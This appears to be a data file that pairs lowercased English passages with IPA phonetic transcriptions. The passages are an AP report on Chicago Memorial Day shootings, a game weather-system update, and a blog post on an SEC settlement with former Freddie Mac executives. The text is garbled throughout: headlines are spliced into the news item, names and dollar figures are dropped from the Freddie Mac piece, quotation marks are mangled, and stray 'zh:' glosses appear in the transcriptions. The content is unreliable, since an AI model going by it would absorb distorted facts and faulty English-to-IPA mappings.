copyright 2016 the associated press. all rights reserved. this material may not be published, broadcast, rewritten or redistributed. | ʃəˈkɑˌgoʊ (ˌeɪˈpi) gən ˈvaɪələns həz mɑrkt ðə ˌənəˈfɪʃəl stɑrt əv ˈsəmər ɪn ʃəˈkɑˌgoʊ, wɛr ˈdəzənz hæv bɪn ʃɑt ənd sɪks hæv bɪn kɪld ˈoʊvər məˈmɔriəl deɪ ˈwiˌkɪnd. ðə ʃəˈkɑˌgoʊ ˈtrɪbjun rɪˈpɔrts ə ˈtoʊtəl əv 15 ˈpipəl wər ʃɑt ˈoʊvərˈnaɪt ˈɪntu ˈtuzˌdeɪ, tu ˈfeɪtəli. ðə ˈnuzˌpeɪpər sɪz ðoʊz ˈʃutɪŋz brɪŋ ðə ˈtoʊtəl ˈnəmbər ʃɑt sɪns ˈfraɪˌdeɪ tɪ 68 ˈʤɛnərəl əˈnaʊnsɪz əˈfɪʃəl ˌɪnˌvɛstəˈgeɪʃən ˈɪntu ʃəˈkɑˌgoʊ pəˈlis dɪˈpɑrtmənt ˈsændərz kɔlz aʊt ʃəˈkɑˌgoʊ əˈfɪʃəlz ˈoʊvər ˈhændəlɪŋ əv məkˈdɑnəld keɪs ʃəˈkɑˌgoʊ pəˈlis seɪ ˈfaɪnəl ˈnəmbərz wɪl bi riˈlist ˈleɪtər ˈtuzˌdeɪ. pəˈlis hæd əˈnaʊnst plænz tɪ stɛp əp pəˈtroʊlz θruaʊt ðə ˈsɪti ɪn ən ˈɛfərt tɪ prɪˈvɛnt ˈvaɪələns ðət əˈkərd ˈdʊrɪŋ məˈmɔriəl deɪ ˈwiˌkɪnd læst jɪr, wɪn ə ˈdəzən ˈpipəl wər kɪld ənd 44 mɔr wər hərt. ˈkɑpiˌraɪt 2016 ðə əˈsoʊʃiˌeɪtəd prɛs. ɔl raɪts rɪˈzərvd. ðɪs məˈtɪriəl meɪ nɑt bi ˈpəblɪʃt, ˈbrɔdˌkæst, riˈrɪtən ər ˌridɪˈstrɪbjətɪd. |
weather! here is a very early first peek at our new weather system. pictured here it is drizzling freezing rain after snowfall in the wasteland. snow realistically piles on top of surfaces exposed to the weather. things under cover or interiors do not get rain or snow in them.
we plan on adding cold and hot survival to accompany the new beautiful weather effects. have rain and snow, plus dust storms, and hopefully even lightning. what is really cool is the old trampled snow we have in the snow biome gets fresh snow on top of it and windows and nooks and crannies just get some snow in them. it accumulates over time and changes appearance it looks awesome. post a video once we get everything polished. | ˈwɛðər! hir ɪz ə ˈvɛri ˈərli fərst pik æt ɑr nu ˈwɛðər ˈsɪstəm. ˈpɪkʧərd hir ɪt ɪz ˈdrɪzəlɪŋ ˈfrizɪŋ reɪn ˈæftər sˈnoʊfɑl ɪn ðə ˈweɪˌstlænd. snoʊ ˌriəˈlɪstɪkli paɪlz ɔn tɔp əv ˈsərfəsɪz ɪkˈspoʊzd tɪ ðə ˈwɛðər. θɪŋz ˈəndər ˈkəvər ər ˌɪnˈtɪriərz du nɑt gɪt reɪn ər snoʊ ɪn ðɛm. wi plæn ɔn ˈædɪŋ koʊld ənd hɑt sərˈvaɪvəl tɪ əˈkəmpəni ðə nu ˈbjutəfəl ˈwɛðər ˈifɛkts. hæv reɪn ənd snoʊ, pləs dəst stɔrmz, ənd ˈhoʊpfəli ˈivɪn ˈlaɪtnɪŋ. wət ɪz ˈrɪli kul ɪz ðə oʊld ˈtræmpəld snoʊ wi hæv ɪn ðə snoʊ baɪoʊm gɪts frɛʃ snoʊ ɔn tɔp əv ɪt ənd ˈwɪndoʊz ənd nʊks ənd ˈkræniz ʤɪst gɪt səm snoʊ ɪn ðɛm. ɪt əˈkjumjəˌleɪts ˈoʊvər taɪm ənd ˈʧeɪnʤɪz əˈpɪrəns ɪt lʊks ˈɔsəm. poʊst ə ˈvɪdioʊ wəns wi gɪt ˈɛvriˌθɪŋ ˈpɑlɪʃt. |
last month, we discussed a government report which showed that, much to the chagrin of a few billionaires and a long line of retail investors who bought the proverbial dip, fannie mae and freddie mac may be destined, by design, by decades of reckless behavior, and by treasury decree, to be insolvent most of the time. today, we learned that when it comes to accountability for the executives who helped put the companies in a position whereby receivership became necessary in, we can forget about it.
in what was billed as a “high profile” case, the sec had sought financial and other penalties against three former freddie mac executives who allegedly “misled” investors in 2006 by understating the amount of exposure the had on its books while it was simultaneously still sucking up and packaging bad loans. if the sec allegations are indeed accurate, probably safe to say that using the term “understated” to describe the executives’ misrepresentations is, well, an understatement, because it appears they may have the figure by a factor of 28. ap:
according to the sec, fannie and freddie misrepresented their exposure to mortgages for borrowers with weak credit in reports, speeches and congressional testimony. the sec said freddie told investors in late 2006 that it held between $2 billion and $6 billion of mortgages on its books but its actual holdings were actually closer to $141 billion, or 10 percent of its portfolio in 2006, and $244 billion, or 14 percent, by 2008.
but well that ends in a catastrophic housing market meltdown apparently because as notes, everyone seems to have gotten a pretty good deal considering their actions may have contributed mightily to the worst financial crisis since the great depression:
the civil case, filed in 2011, had alleged that three freddie executives, including former chief executive officer richard syron, knowingly misled investors about the volume of risky mortgages the company purchased as the housing boom came to an end. the sec had sought financial penalties against the executives and an order barring them from serving as officers and directors at other companies. instead, the executives agreed for a limited time not to sign certain reports required by chief executives or finance chiefs and to pay a total of $310,000 to a fund meant to compensate defrauded investors.
the breakdown of the fees is as follows: richard syron, $250,000; donald, $50,000; patricia cook, $10,000. as you can see, ms. cook got off pretty easy, but then again, they all did because they actually have to pay the fines:
those amounts will be paid by insurance from freddie mac that covered the executives.
and no one had to admit to anything of course:
the pact said both sides agreed to the settlement “without conceding the strengths and weaknesses of their respective claims and defenses.”
which is just fine with the folks from freddie who understandably believe not in their best interest for the government to continue to investigate them for fraud and who are pleased to report that in addition to the fact that they will not have to pay anything out of pocket, they will not be limited “in any practical way” by the decision:
mr. syron said, “the agreement states that it is not in the interests of justice to continue to litigate this matter, and i wholeheartedly agree with that sentiment.” steven salky, who represented ms. cook, said, they ”are extremely pleased with this resolution.” mr. said, “the undertakings to which i have agreed in order to put this case behind me do not limit me in any practical way.”
so in the end, all three executives were slapped with fines which they have to pay and were reprimanded in a way that limit their future activities at all, which the sec reckons is commensurate with their part in sinking the entire world economy:
“the limitations on future activities (zh: these are the limitations that limit any one in a practical way) and financial payments (zh: financial payments they have to pay) reflect an appropriate resolution of the matter,” said andrew ceresney, the enforcement director.
and remember, there's just one month left under eric holder's recent ultimatum which may or may not mean that after may...
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meanwhile, officials are busy making sure no chance that the two entities will ever get themselves into another situation where their securitization practices are likely to encourage shoddy lending standards. from an article that was posted wednesday afternoon: | læst mənθ, wi dɪˈskəst ə ˈgəvərnmənt rɪˈpɔrt wɪʧ ʃoʊd ðət, məʧ tɪ ðə ʃəˈgrɪn əv ə fju ˌbɪljəˈnɛrz ənd ə lɔŋ laɪn əv ˈriˌteɪl ˌɪnˈvɛstərz hu bɔt ðə prəˈvərbiəl dɪp, ˈfæni meɪ ənd ˈfrɛdi mæk meɪ bi ˈdɛstɪnd, baɪ dɪˈzaɪn, baɪ ˈdɛkeɪdz əv ˈrɛkləs bɪˈheɪvjər, ənd baɪ ˈtrɛʒəri dɪˈkri, tɪ bi ˌɪnˈsɑlvənt moʊst əv ðə taɪm. təˈdeɪ, wi ˈlərnɪd ðət wɪn ɪt kəmz tɪ əˈkaʊntəˌbɪlɪti fər ðə ɪgˈzɛkjətɪvz hu hɛlpt pʊt ðə ˈkəmpəˌniz ɪn ə pəˈzɪʃən wɛrˈbaɪ rɪˈsivərˌʃɪp bɪˈkeɪm ˈnɛsəˌsɛri ɪn wi kən fərˈgɛt əˈbaʊt ɪt. ɪn wət wɑz bɪld ɛz ə profile”*” keɪs, ðə sɛk hæd sɔt ˌfaɪˈnænʃəl ənd ˈəðər ˈpɛnəltiz əˈgɛnst θri ˈfɔrmər ˈfrɛdi mæk ɪgˈzɛkjətɪvz hu əˈlɛʤədli ““misled”*” ˌɪnˈvɛstərz ɪn 2006 baɪ ˈəndərˌsteɪtɪŋ ðə əˈmaʊnt əv ɪkˈspoʊʒər ðə hæd ɔn ɪts bʊks waɪl ɪt wɑz ˌsaɪməlˈteɪniəsli stɪl ˈsəkɪŋ əp ənd ˈpækɪʤɪŋ bæd loʊnz. ɪf ðə sɛk ˌæləˈgeɪʃənz ər ˌɪnˈdid ˈækjərət, ˈprɑbəˌbli seɪf tɪ seɪ ðət ˈjuzɪŋ ðə tərm ““understated”*” tɪ dɪˈskraɪb ðə executives’*’ mɪsˌrɛprɪzɛnˈteɪʃənz ɪz, wɛl, ən ˈəndərˌsteɪtmənt, bɪˈkəz ɪt əˈpɪrz ðeɪ meɪ hæv ðə ˈfɪgjər baɪ ə ˈfæktər əv 28 ˌeɪˈpi: əˈkɔrdɪŋ tɪ ðə sɛk, ˈfæni ənd ˈfrɛdi ˌmɪsrɛprɪˈzɛnɪd ðɛr ɪkˈspoʊʒər tɪ ˈmɔrgɪʤɪz fər ˈbɑroʊərz wɪθ wik ˈkrɛdɪt ɪn rɪˈpɔrts, ˈspiʧɪz ənd kənˈgrɛʃənəl ˈtɛstɪˌmoʊni. ðə sɛk sɛd ˈfrɛdi toʊld ˌɪnˈvɛstərz ɪn leɪt 2006 ðət ɪt hɛld bɪtˈwin 2 ˈbɪljən ənd 6 ˈbɪljən əv ˈmɔrgɪʤɪz ɔn ɪts bʊks bət ɪts ˈækʧəwəl ˈhoʊldɪŋz wər ˈæˌkʧuəli ˈkloʊzər tɪ 141 ˈbɪljən, ər 10 pərˈsɛnt əv ɪts pɔrtˈfoʊliˌoʊ ɪn 2006 ənd 244 ˈbɪljən, ər 14 pərˈsɛnt, baɪ 2008 bət wɛl ðət ɛndz ɪn ə ˌkætəˈstrɑfɪk ˈhaʊzɪŋ ˈmɑrkɪt ˈmɛltˌdaʊn əˈpɛrəntli bɪˈkəz ɛz noʊts, ˈɛvriˌwən simz tɪ hæv ˈgɔtən ə ˈprɪti gʊd dil kənˈsɪdərɪŋ ðɛr ˈækʃənz meɪ hæv kənˈtrɪbjutɪd ˈmaɪtəli tɪ ðə wərst ˌfaɪˈnænʃəl ˈkraɪsəs sɪns ðə greɪt dɪˈprɛʃən: ðə ˈsɪvəl keɪs, faɪld ɪn 2011 hæd əˈlɛʤd ðət θri ˈfrɛdi ɪgˈzɛkjətɪvz, ˌɪnˈkludɪŋ ˈfɔrmər ʧif ɪgˈzɛkjətɪv ˈɔfɪsər ˈrɪʧərd ˈsaɪrən, ˈnoʊɪŋli mɪsˈlɛd ˌɪnˈvɛstərz əˈbaʊt ðə ˈvɑljum əv ˈrɪski ˈmɔrgɪʤɪz ðə ˈkəmpəˌni ˈpərʧəst ɛz ðə ˈhaʊzɪŋ bum keɪm tɪ ən ɛnd. ðə sɛk hæd sɔt ˌfaɪˈnænʃəl ˈpɛnəltiz əˈgɛnst ðə ɪgˈzɛkjətɪvz ənd ən ˈɔrdər ˈbɑrɪŋ ðɛm frəm ˈsərvɪŋ ɛz ˈɔfɪsərz ənd dɪˈrɛktərz æt ˈəðər ˈkəmpəˌniz. ˌɪnˈstɛd, ðə ɪgˈzɛkjətɪvz əˈgrid fər ə ˈlɪmɪtɪd taɪm nɑt tɪ saɪn ˈsərtən rɪˈpɔrts rikˈwaɪərd baɪ ʧif ɪgˈzɛkjətɪvz ər ˈfaɪˌnæns ʧifs ənd tɪ peɪ ə ˈtoʊtəl əv tɪ ə fənd mɛnt tɪ ˈkɑmpənˌseɪt dɪˈfrɔdɪd ˌɪnˈvɛstərz. ðə ˈbreɪkˌdaʊn əv ðə fiz ɪz ɛz ˈfɑloʊz: ˈrɪʧərd ˈsaɪrən, ˈdɑnəld, pəˈtrɪʃə kʊk, ɛz ju kən si, mɪz. kʊk gɑt ɔf ˈprɪti ˈizi, bət ðɛn əˈgɛn, ðeɪ ɔl dɪd bɪˈkəz ðeɪ ˈæˌkʧuəli hæv tɪ peɪ ðə faɪnz: ðoʊz əˈmaʊnts wɪl bi peɪd baɪ ˌɪnˈʃʊrəns frəm ˈfrɛdi mæk ðət ˈkəvərd ðə ɪgˈzɛkjətɪvz. ənd noʊ wən hæd tɪ ədˈmɪt tɪ ˈɛniˌθɪŋ əv kɔrs: ðə pækt sɛd boʊθ saɪdz əˈgrid tɪ ðə ˈsɛtəlmənt kənˈsidɪŋ ðə strɛŋθs ənd ˈwiknəsɪz əv ðɛr rɪˈspɛktɪv kleɪmz ənd defenses.”*.” wɪʧ ɪz ʤɪst faɪn wɪθ ðə foʊks frəm ˈfrɛdi hu ˌəndərˈstændəbli bɪˈliv nɑt ɪn ðɛr bɛst ˈɪntəˌrɛst fər ðə ˈgəvərnmənt tɪ kənˈtɪnju tɪ ˌɪnˈvɛstəˌgeɪt ðɛm fər frɔd ənd hu ər plizd tɪ rɪˈpɔrt ðət ɪn əˈdɪʃən tɪ ðə fækt ðət ðeɪ wɪl nɑt hæv tɪ peɪ ˈɛniˌθɪŋ aʊt əv ˈpɑkət, ðeɪ wɪl nɑt bi ˈlɪmɪtɪd ˈɛni ˈpræktɪkəl way”*” baɪ ðə dɪˈsɪʒən: ˈmɪstər. ˈsaɪrən sɛd, əˈgrimənt steɪts ðət ɪt ɪz nɑt ɪn ðə ˈɪntərɪsts əv ˈʤəstɪs tɪ kənˈtɪnju tɪ ˈlɪtɪˌgeɪt ðɪs ˈmætər, ənd aɪ ˈhoʊlhɑrtɪdli əˈgri wɪθ ðət sentiment.”*.” ˈstivən salky*, hu ˌrɛprɪˈzɛnɪd mɪz. kʊk, sɛd, ðeɪ ɪkˈstrimli plizd wɪθ ðɪs resolution.”*.” ˈmɪstər. sɛd, ˈəndərˌteɪkɪŋz tɪ wɪʧ aɪ hæv əˈgrid ɪn ˈɔrdər tɪ pʊt ðɪs keɪs bɪˈhaɪnd mi du nɑt ˈlɪmət mi ɪn ˈɛni ˈpræktɪkəl way.”*.” soʊ ɪn ðə ɛnd, ɔl θri ɪgˈzɛkjətɪvz wər slæpt wɪθ faɪnz wɪʧ ðeɪ hæv tɪ peɪ ənd wər ˈrɛprəˌmændɪd ɪn ə weɪ ðət ˈlɪmət ðɛr fˈjuʧər ækˈtɪvɪtiz æt ɔl, wɪʧ ðə sɛk ˈrɛkənz ɪz kəˈmɛnsərɪt wɪθ ðɛr pɑrt ɪn ˈsɪŋkɪŋ ðə ɪnˈtaɪər wərld ɪˈkɑnəmi: ˌlɪmɪˈteɪʃənz ɔn fˈjuʧər ækˈtɪvɪtiz (zh*: ðiz ər ðə ˌlɪmɪˈteɪʃənz ðət ˈlɪmət ˈɛni wən ɪn ə ˈpræktɪkəl weɪ) ənd ˌfaɪˈnænʃəl ˈpeɪmənts (zh*: ˌfaɪˈnænʃəl ˈpeɪmənts ðeɪ hæv tɪ peɪ) rɪˈflɛkt ən əˈproʊpriˌeɪt ˌrɛzəˈluʃən əv ðə matter,”*,” sɛd ˈændru ceresney*, ðə ɛnˈfɔrsmənt dɪˈrɛktər. ənd rɪˈmɛmbər, ðɛrz ʤɪst wən mənθ lɛft ˈəndər ˈɛrɪk ˈhoʊldərz ˈrisənt ˌəltəˈmeɪtəm wɪʧ meɪ ər meɪ nɑt min ðət ˈæftər meɪ... ˈminˌwaɪl, əˈfɪʃəlz ər ˈbɪzi ˈmeɪkɪŋ ʃʊr noʊ ʧæns ðət ðə tu ˈɛntɪtiz wɪl ˈɛvər gɪt ðɛmˈsɛlvz ˈɪntu əˈnəðər ˌsɪʧuˈeɪʃən wɛr ðɛr sɪˌkjʊrətəˈzeɪʃən ˈpræktɪsɪz ər ˈlaɪkli tɪ ɪnˈkərəʤ ˈʃɑdi ˈlɛndɪŋ ˈstændərdz. frəm ən ˈɑrtɪkəl ðət wɑz ˈpoʊstɪd ˈwɛnzˌdeɪ ˌæftərˈnun: |
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